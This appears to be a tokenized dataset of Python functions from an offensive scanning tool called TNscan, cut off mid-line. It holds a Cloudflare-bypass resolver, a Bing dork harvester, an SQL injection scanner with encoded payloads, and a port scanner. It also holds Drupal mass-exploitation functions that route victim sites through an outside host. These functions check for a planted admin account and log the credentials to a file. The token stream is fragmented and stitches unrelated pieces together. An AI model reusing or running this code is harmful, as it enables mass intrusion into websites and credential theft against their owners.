"\\u\\u\\uINDENT\\u\\u\\u ", " _", "doo", "_", "=_", "sub_", "+_", "'.'_", "+_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", " ", "[~", "]", " ", "Tr", "ying", " ", "->", " ", "'_", ",_", "doo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ddd", "_", "=_", "socket_", "._", "gethostbyname", "_", "(_", "doo", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ddd", "_", "!=_", "ip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", " ", "[*]", " ", "Cloud", "fla", "re", " ", "bypass", "ed", " ", "->", " ", "'_", ",_", "ddd", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Server", "Banner", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "simp", "ly", " ", "gets", " ", "the", " ", "server", " ", "banner", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "attacker", " ", "may", " ", "benefit", " ", "from", " ", "it", " ", "\\", "10", ";", " ", " ", " ", " ", "like", " ", "getti", "ng", " ", "the", " ", "server", " ", "side", " ", "software", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "'", "http", "://'_", "+_", "self_", "._", "server", "ip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "http", "response_", "=_", "urllib_", "._", "urlopen_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", " ", "[*]", " ", "Server", " ", "header", " ", "->", " ", "'_", ",_", "http", "response_", "._", "headers_", "._", "getheader_", "(_", "'", "server", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "gra", "b", "Sq", "li_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "just", " ", "gra", "bs", " ", "all", " ", "webs", "ites", " ", "in", " ", "server", " ", "with", " ", "php", "?", "id", "=", " ", "dor", "k", " ", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "scanning", " ", "for", " ", "error", " ", "based", " ", "sql", " ", "injection", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "page_", "<=_", "101_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bing", "_", "=_", "\"", "http", "://", "www", ".", "bing", ".", "com", "/", "search", "?", "q", "=", "ip", "%", "3", "A", "\"_", "+_", "self_", "._", "server", "ip_", "+_", "\"+", "php", "?", "id", "=", "&", "count", "=", "50", "&", "first", "=\"_", "+_", "str_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "openb", "ing_", "=_", "urllib2_", "._", "urlopen_", "(_", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "bing", "_", "=_", "openb", "ing_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "webs", "_", "=_", "re_", "._", "findall_", "(_", "'<", "h2", "><", "a", " ", "href", "=\"(", ".*?)", "\"'_", ",_", "read", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "find", "webs", "_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "x_", "=_", "find", "webs", "_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "._", "append_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page_", "+=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lista_", "=_", "unique_", "(_", "lista_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "Sq", "li_", "(_", "lista_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "Sq", "li_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "checks", " ", "for", " ", "error", " ", "based", " ", "sql", " ", "injection", ",", "\\", "10", ";", " ", " ", " ", " ", "most", " ", "of", " ", "the", " ", "codes", " ", "here", " ", "are", " ", "from", " ", "webp", "wn", "3", "r", " ", "\\", "10", ";", " ", " ", " ", " ", "project", " ", "the", " ", "one", " ", "who", " ", "has", " ", "found", " ", "an", " ", "lf", "i", " ", "in", " ", "\\", "10", ";", " ", " ", " ", " ", "ya", "hoo", " ", "as", " ", "i", " ", "remember", ",", " ", "you", " ", "can", " ", "find", " ", "a", " ", "separate", " ", "\\", "10", ";", " ", " ", " ", " ", "tool", " ", "in", " ", "my", " ", "blog", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "Check", "ing", " ", "SQL", " ", "injection", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "\"", "3", "'\"_", ",_", "\"", "3", "%", "5c", "\"_", ",_", "\"", "3", "%", "2", "7", "%", "2", "2", "%", "2", "8", "%", "2", "9", "\"_", ",_", "\"", "3", "'><", "\"_", ",_", "\"", "3", "%", "2", "2", "%", "5", "C", "%", "2", "7", "%", "5", "C", "%", "2", "2", "%", "2", "9", "%", "3", "B", "%", "7", "C", "%", "5", "D", "%", "2", "A", "%", "7", "B", "%", "250", "d", "%", "250", "a", "%", "3", "C", "%", "2500", "%", "3", "E", "%", "25", "bf", "%", "252", "7", "%", "2", "7", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "=_", "re_", "._", "compile_", "(_", "\"", "Inco", "rrect", " ", "synta", "x", "|", "mysql", "\\u", "fetch", "|", "Syntax", " ", "error", "|", "Unc", "lose", "d", ".+", "mark", "|", "unter", "minat", "ed", ".+", "qo", "ute", "|", "SQL", ".+", "Server", "|", "Micro", "soft", ".+", "Databa", "se", "|", "Fat", "al", ".+", "error", "\"_", ",_", "re_", "._", "I_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "url_", "in_", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "param_", "in_", "url_", "._", "split_", "(_", "'?'_", ")_", "[_", "1_", "]_", "._", "split_", "(_", "'&'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "payload_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "power_", "=_", "url_", "._", "replace_", "(_", "param_", ",_", "param_", "+_", "payload_", "._", "strip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "power_", "\\u\\u\\uNL\\u\\u\\u_", "html_", "=_", "urllib2_", "._", "urlopen_", "(_", "power_", ")_", "._", "readlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "html_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "checker_", "=_", "re_", "._", "findall_", "(_", "check_", ",_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "checker_", ")_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", " ", "[*]", " ", "SQL", "i", " ", "found", " ", "->", " ", "'_", ",_", "power_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "crawl", "Sq", "li_", "(_", "self_", ",_", "nb", "pages_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "simple", " ", "crawl", "ing", " ", "usi", "ng", " ", "chi", "lk", "at", " ", "(", "ye", "ah", " ", "chi", "lk", "at", " ", "suc", "ks", ")", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "scan", " ", "for", " ", "error", " ", "based", " ", "sql", " ", "injection", "\\", "10", ";", " ", " ", " ", " ", "[!", "]", " ", "will", " ", "be", " ", "on", " ", "the", " ", "next", " ", "version", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "chilkat_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spider_", "=_", "chilkat_", "._", "Ck", "Spider_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "url_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spi", "dre", "d_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", "[~", "]", " ", "Crawl", "ing", " ", "->", " ", "\"_", ",_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spider_", "._", "Initializ", "e_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "spider", ".", "uns", "pid", "ere", "d", "Ur", "l", "(", "url", ")_", "\\u\\u\\uNL\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "nb", "pages_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "spider_", "._", "Crawl", "Next_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "spi", "dre", "d_", "._", "append_", "(_", "spider_", "._", "last", "Url_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", " ", "[+", "]", " ", "Crawl", "ed", " ", "->", " ", "\"_", ",_", "spi", "dre", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", "[~", "]", " ", "Scann", "ing", " ", "->", " ", "\"_", ",_", "url_", ",_", "\"", " ", "from", " ", "SQL", " ", "injection", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "Sq", "li_", "(_", "spi", "dre", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "port", "Scanner_", "(_", "self_", ",_", "mode_", ",_", "ran_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "simple", " ", "port", " ", "scanner", " ", "works", " ", "with", " ", "range", " ", "of", " ", "port", "s", " ", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "with", " ", "common", " ", "port", "s", " ", "(", "al", "-", "swi", "sre", " ", "idea", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "Scann", "ing", " ", "Port", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "it_", "(_", "ip_", ",_", "port_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sock_", "=_", "socket_", "._", "socket_", "(_", "socket_", "._", "AF", "\\u", "INET_", ",_", "socket_", "._", "SOCK", "\\u", "STREAM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "sock", ".", "setti", "meo", "ut", "(", "5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "sock_", "=_", "sock_", "._", "connect", "\\u", "ex_", "(_", "(_", "ip_", ",_", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sock_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "[*]", " ", "Port", " ", "%", "i", " ", "is", " ", "open", "\"_", "%_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mode_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "ran_", "._", "split_", "(_", "'-'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "int_", "(_", "a_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end_", "=_", "int_", "(_", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "start_", ",_", "end_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "do", "\\u", "it_", "(_", "self_", "._", "server", "ip_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mode_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "port_", "in_", "[_", "80_", ",_", "21_", ",_", "22_", ",_", "208", "2_", ",_", "25_", ",_", "53_", ",_", "110_", ",_", "443_", ",_", "143_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "did", "n", "'", "t", " ", "use", " ", "multit", "hread", "ing", " ", "cos", " ", "it", "'", "s", " ", "few", " ", "ports_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "do", "\\u", "it_", "(_", "self_", "._", "server", "ip_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "dru", "pal", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Dru", "pal", " ", "Explo", "it", " ", "Bin", "ger", " ", "All", " ", "Webs", "ites", " ", "Of", " ", "server", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ip_", "=_", "raw", "\\u", "input_", "(_", "'", "1", "-", " ", "IP", " ", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "page_", "<=_", "50_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "\"", "http", "://", "www", ".", "bing", ".", "com", "/", "search", "?", "q", "=", "ip", "%", "3", "A", "\"_", "+_", "ip_", "+_", "\"&", "go", "=", "Valid", "er", "&", "qs", "=", "n", "&", "form", "=", "QB", "RE", "&", "pq", "=", "ip", "%", "3", "A", "\"_", "+_", "ip_", "+_", "\"&", "sc", "=", "0", "-0", "&", "sp", "=-", "1", "&", "sk", "=", "&", "cv", "id", "=", "af", "529", "d7", "028", "ad", "4", "3a", "6", "9e", "dc", "90", "dbe", "cde", "ac", "4f", "&", "first", "=\"_", "+_", "str_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "urllib2_", "._", "Request_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opr", "eq_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "url_", "=_", "re_", "._", "findall_", "(_", "'<", "div", " ", "class", "=\"", "b", "\\u", "title", "\">", "<", "h2", "><", "a", " ", "href", "=\"(", ".*?)", "\"", " ", "h", "='_", ",_", "opr", "eq_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "url_", "in_", "find", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "urlpa", "_", "=_", "urlparse_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "urlpa", "_", "._", "netloc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"[", "+]", " ", "Test", "ing", " ", "At", " ", "\"_", "+_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "urllib2_", "._", "urlopen_", "(_", "'", "http", "://", "cri", "g", "-", "ald", "a", ".", "ro", "/", "wp", "-", "admin", "/", "css", "/", "index", "2", ".", "php", "?", "url", "='_", "+_", "site_", "+_", "'&", "submit", "=", "submit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read_", "=_", "resp_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "User", " ", ":", " ", "Hol", "a", "Ko", "\"_", "in_", "read_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", "Explo", "it", " ", "found", " ", "=>", "\"_", "+_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"", "user", ":", "Hol", "a", "Ko", "\\\\", "npa", "ss", ":", "admin", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "open_", "(_", "'", "up", ".", "txt", "'_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "write_", "(_", "site_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "write_", "(_", "\"", "user", ":\"_", "+_", "user_", "+_", "\"\\\\", "npa", "ss", ":\"_", "+_", "pwd_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "Exp", "l", " ", "Not", " ", "Foun", "d", " ", ":(", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "ex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Dru", "pal", " ", "Server", " ", "Extra", "Ct", "or_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "getd", "ru", "pal", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ip_", "=_", "raw", "\\u", "input_", "(_", "'", "2", "-", " ", "Ip", " ", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sites_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "page_", "<=_", "50_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "\"", "http", "://", "www", ".", "bing", ".", "com", "/", "search", "?", "q", "=", "ip", "%", "3", "A", "\"_", "+_", "ip_", "+_", "\"+", "node", "&", "go", "=", "Valid", "er", "&", "qs", "=", "ds", "&", "form", "=", "QB", "RE", "&", "first", "=\"_", "+_", "str_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "urllib2_", "._", "Request_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opr", "eq_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "url_", "=_", "re_", "._", "findall_", "(_", "'<", "div", " ", "class", "=\"", "b", "\\u", "title", "\">", "<", "h2", "><", "a", " ", "href", "=\"(", ".*?)", "\"", " ", "h", "='_", ",_", "opr", "eq_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "url_", "in_", "find", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "split_", "=_", "urlparse_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "split_", "._", "netloc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "site_", "not_", "in_", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sites_", "._", "append_", "(_", "site_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Dru", "pal", " ", "Mass", " ", "List", " ", "Explo", "iter", " _", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dru", "pal", "list_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "listo", "p_", "=_", "raw", "\\u", "input_", "(_", "\"", "Enter", " ", "The", " ", "list", " ", "Txt", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fileo", "pen_", "=_", "open_", "(_", "listo", "p_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "fileo", "pen_", "._", "readlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "i_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "open", "url_", "=_", "urllib2_", "._", "urlopen_", "(_", "'", "http", "://", "cri", "g", "-", "ald", "a", ".", "ro", "/", "wp", "-", "admin", "/", "css", "/", "index", "2", ".", "php", "?", "url", "='_", "+_", "url_", "+_", "'&", "submit", "=", "submit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "content_", "=_", "open", "url_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "Success", "\"_", "in_", "read", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", "Success", " ", "=>", "\"_", "+_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "-]", "user", "name", ":", "Hol", "a", 